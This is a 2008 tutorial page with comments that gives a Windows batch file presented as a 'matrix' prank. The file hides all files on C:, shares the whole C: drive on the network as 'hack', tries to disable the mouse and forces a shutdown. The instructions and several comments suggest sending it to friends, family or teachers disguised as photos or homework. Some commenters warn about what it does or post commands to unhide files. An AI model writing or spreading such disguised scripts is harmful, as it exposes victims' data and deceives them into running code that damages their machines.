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Freaky Computer Prank

by jedidiah_victor on October 10, 2008

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intro: Freaky Computer Prank . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2

step 1: Open Notepad . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2

step 2: Encoding . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2

step 3: Save the Batch . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3

step 4: Test the Batch . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3

step 5: Spread the Batch . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3

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intro: Freaky Computer Prank
In this Instructables, we will make batch file that will shutdown your computer and send a few messages about the matrix, rather bland and could be worked on a little bit
more. Someone could tweak it a little and perhaps, change the DOS text to green.

step 1: Open Notepad

First of all in making Vb Script is that you open Notepad. To open it:

1) Click on the "Start" button.

2) Point to "All Programs".

3) Point to "Accesories".

4) Find and click "Notepad".

Image Notes
1. Never mind this dualog box.

step 2: Encoding
Copy the code below:

@ Echo off
Title Matrix
msg * The matrix has you, you can not escape
rundll32.exe disable mouse
Attrib +h C:*.*
echo deleting harddrive
echo 1001101010101011111111101010101
echo 010101010101010101010101010111
assoc
assoc
Attrib C:Documents and settings*.*
net share hack=C:
shutdown -s -c 60

To copy it: first highlight the codes then press CTRL (Hold until C has not yet pressed) then C.

After copying the codes, paste it on the Notepad.

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step 3: Save the Batch
To save the codes you pasted:

1) On the "Menu" bar, go to "File".

2) Then choose "Save As...".

Save As dialog box will appear. Simply type computer_robot.bat on the File name textbox.

Image Notes
1. This is the file name textbox.

step 4: Test the Batch

Run the batch file to test if it really works. If worked then your computer will shutdown. And do something strange.

Ahhhhhhhhhhhhhhhhhhhhhhhhh!

step 5: Spread the Batch

Send the batch to your friends. Say that the file has many photos of pretty girls to force them to open. You may rename the batch file computer_robot.bat into
prettypark.bat

If they opened it. IT'S THEIR FREAKY DAY!

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El Mano says: Jan 5, 2009. 7:38 PM REPLY

Nice virus, but the command

rundll32.exe disable mouse

won't work. (see picture)

will421 says: Jun 2, 2009. 6:29 PM REPLY

RUNDLL MOUSE,DISABLE works!

Rs master says: Feb 15, 2009. 6:47 PM REPLY

i am really sry but this is not a virusthey self spred(i cant spell good)

El Mano says: Feb 16, 2009. 9:52 PM REPLY

Very true, but it comes down to this: you design a new weapon. Are you going to call it the "A-54345X", or something like the "Hellhound"? "Virus"
just sounds more interesting and exciting than "Computer Prank", and there's no law against it. I don't give a care about political correctness and
things related if with it. I call things by what I associate them with: hence, I simply call programs of this sort "viruses". As for a self-replicating "virus",
I'm working on it.

Rs master says: Feb 17, 2009. 1:27 PM REPLY

I just wanted you to knowdo not do a 'ible on the virus though bad idea

Sagar Gondaliya says: Jan 21, 2009. 5:31 PM REPLY

how do you get it to work?

El Mano says: Jan 21, 2009. 7:03 PM REPLY

I just took it out. If you want, you can replace it with a command that will turn off the victim's icons and other user-interface items (this looks better
than no mouse), or you can use NirCMD (google it) to create a little mini-.bat that will use NirCMD to reset the mouse every few milliseconds at the
point of your choosing (this looks really cool; thank you, Shadow Ops), and then use your virus to install and start the mini-.bat (thank you, iRule). Or
just hope your victim is freaked and doesn't think to exit the program.

Sagar Gondaliya says: Jan 22, 2009. 5:40 PM REPLY

is there a command that will work and disable the mouse?

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 ismaelplague says: Mar 24, 2009. 9:19 AM REPLY
yes there is you would need to find the program that controls it in the taskmanager. and the you will need to use command prompt to disable it
like this taskkill /pid "enter the name here
"

El Mano says: Mar 25, 2009. 3:23 PM REPLY

A) Do you have any idea what the mouse-application in TM would be labeled?

B) What would adding "/pid" do to taskkill?

C) While googling "end mouse application", I found the script for a real batch virus that uses "rundll32.exe mouse, disable" and
"rundll32.exe keyboard, disable". I haven't tried them yet, but I thought I'd mention it.

Sagar Gondaliya says: Jan 22, 2009. 5:39 PM REPLY

thnx

will421 says: Jun 2, 2009. 6:28 PM REPLY

"First of all in making Vb Script is that you open Notepad."
Not VB Script but batch.

sullivan_artex says: May 24, 2009. 9:36 AM REPLY

the shutdown command at the end of you coding ( shutdown -s -c 60) shouldnt that be (shutdown -s -t 60) im assuming you have tried to put a 60 second
timer on the shut down i have found that the -c command was for putting a message in the dialog box that appears during the shutdown timer.

so it would be (shutdown -s -t 60 -c "what ever your text is to be")

ive only just started with all this just a observation and if i have got this wrong please someone let me know.

Pie Ninja says: May 19, 2009. 4:31 AM REPLY

Wow, this is the first "funny batch virus" 'ible I've seen that actually does bad things.
Congratz?

Also, don't run this if you don't know what it will do and how to fix it, it will only end in pain for you.

HiddenPanda says: May 2, 2009. 1:21 PM REPLY

to get your stuff back just make a batch file with the code:

@echo OFF
attrib -h C:\Documents And Settings\*.*

watermelonhead says: Jan 4, 2009. 7:47 AM REPLY

or, if you are sending it to family, you can say they are pictures of the family on vacation!

Ipodgeek2009 says: Apr 29, 2009. 9:42 PM REPLY

or send it to a school teacher, and say its the assignment you wanted them to see

CurvedYellowFruit says: Apr 28, 2009. 7:33 AM REPLY

Ooh I hope none of you ran this on your PC's, the real coders can easily recognize what this does, but the rest of you are in trouble! Your computers are
shared to the world and I'm reading your emails as you're reading this message...

No seriously, the writer of this batch file just obscured the dangerous commands with drivel. "Attrib" hides all your files in the root of your C-drive, and "net
share" shares your C-Drive under the name 'hack'.

If you don't understand each and every line in that batch file, you're stupid by running it. The only PC you will hack is your own, you guys are being played
like so many fiddles!

karmakid732 says: Apr 11, 2009. 3:46 PM REPLY

how do u run it just open it?

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 imthereal says: Oct 22, 2008. 8:29 PM REPLY
isn't that bad for the computer?

jedidiah_victor says: Oct 24, 2008. 7:37 PM REPLY

It's not bad for your computer.

gunner says: Nov 21, 2008. 3:04 PM REPLY

my god that was the undereducated opinion i have ever heard

musicninja17 says: Apr 11, 2009. 3:27 PM REPLY

how? Its not bad for your computer!! If you know what you're doing then this won't mess up anything...

generaljuan says: Oct 23, 2008. 12:32 PM REPLY

it might be... its messing with my active desktop... i have to reset my background everytime i turn it on... any1 know how to fix it?

Shadow Ops says: Dec 4, 2008. 4:26 PM REPLY

Don't do what TAT said! Read my below comment!

TATcreator says: Dec 9, 2008. 2:16 PM REPLY

We agree with you, could you compose a batch script that will unhide regular files and hide system ones?

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Shadow Ops says: Dec 4, 2008. 4:26 PM REPLY

EEK! NO! Don't do that! You want to keep all your system files hidden, so that uneducated people don't think its garbage and delete it! The whole
reason microsoft made system files hidden is so that there wouldn't be configuration files everywhere! Or people might think its useless, and
when they delete it, I screws their computer. And your code won't even fix his problem. Active desktop is only found on windows 9x, and when
your icons disappear, its simply hiding them, not making them hidden!
(And you also don't need the exit command at the end of a batch file.)

TATcreator says: Dec 9, 2008. 2:14 PM REPLY

Do you have a better batch script that will work better, shadow ops? (Not that we are offended by your comment, just asking . . .)

TATcreator says: Dec 9, 2008. 2:11 PM REPLY

The exit command will make any batch file much more stable, thank you.

Shadow Ops says: Dec 9, 2008. 5:21 PM REPLY

Your right, it will make it more stable, but it is not necessary!

dombeef says: Apr 9, 2009. 3:49 PM REPLY

I cant even se the pictures can you please use printscreen?Instead of a camera that cant even shoot good pictures

viruscreator23 says: Apr 7, 2009. 8:44 AM REPLY

HOW DO I GET MY STUFF BACK!!!???

Haru says: Oct 17, 2008. 3:26 AM REPLY

its not working for me ive put in exactly the code above and all it does is delete my stuff on desk top

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 darkanchor says: Dec 19, 2008. 4:15 AM REPLY
true where can i find the stuff that were on my destkop

El Mano says: Mar 24, 2009. 6:25 PM REPLY

This program doesn't delete things; it only hides them.

In the script, find this command:

Attrib +h C:*.*

Type this into Command Prompt/RandomFile.bat, but replace "+h" with "-h" (Attrib -h C:*.*).
It should give you back your icons, documents, and other things back. It worked when I tried it.

iRule says: Dec 19, 2008. 3:16 PM REPLY

if it was the batch that deleted them then you wont be seeing you files again

darkanchor says: Dec 20, 2008. 2:21 AM REPLY

never just great goddamned there was really impotant stuff on my destkop jippie lost the most important things

Indiana jones says: Mar 6, 2009. 9:52 AM REPLY

they're just hidden in vista go to control panel and select folder options select views tab and select show hidden files or xp on like my
computer/my documents or whatever and select tools then folder options then select views tab and select show hidden files

iRule says: Mar 6, 2009. 9:56 AM REPLY

yes but if they are system hidden then that still wont show them

iRule says: Dec 20, 2008. 8:15 AM REPLY

soz for your loss

raid5 says: Oct 28, 2008. 7:19 AM REPLY

Be careful!
You shouldn't use that script if your not knowing exactly how to fix things!

This script will do the following (in exact order):

1. Print a message to the screen (The matrix has you, you can not escape)
2. Disable your Mouse
3. Set the hidden attribute to all files under C:\
4. Print some nonsense to the terminal screen (deleting... and 0101...)
5. Give out all file associations (two times)
6. Hide all directories under C:Documents and settings*.*
7. Share your C:\ Drive using the name "hack" (if you don't have a firewall this can be very dangerous!)
8. Cleanly shutdown your computer after 60 seconds (seems to be an older syntax, may not work on XP/Vista)

Indiana jones says: Mar 6, 2009. 9:54 AM REPLY

how do you stop sharing

Indiana jones says: Mar 6, 2009. 9:54 AM REPLY

c: as hack

TATcreator says: Nov 17, 2008. 6:23 AM

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Shadow Ops says: Dec 4, 2008. 4:35 PM REPLY

Your confused, you only put "start" before shutdown in the old syntax. The new syntax for shutdown is just shutdown, plus the parameters. Type
"shutdown /?" to see the syntax for shutdow.
(This is the fourth time I've corrected you, second time on this Instuctable!)

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 Shadow Ops says: Dec 4, 2008. 4:35 PM REPLY
*for shutdown.

trlababalan3000 says: Mar 5, 2009. 8:32 AM REPLY

O.K., Now that I've tested it out, HOW DO I GET MY STUFF BACK?!

Sh0ckl473Shayne says: Feb 24, 2009. 8:57 PM REPLY

i couldnt get it to work it just says " the matrix has u u cannot escape"
then i clicked ok then it said somthing like the thing coulnt be ran it brought up the camand thing and did nothing

Rs master says: Feb 15, 2009. 6:46 PM REPLY

well there is a key on you keyboradand plz use it to update your 'iable called "print screen" it takes a snapshot of your screen

i might try this *types in notepad* oh s!@# my pc is shuting down

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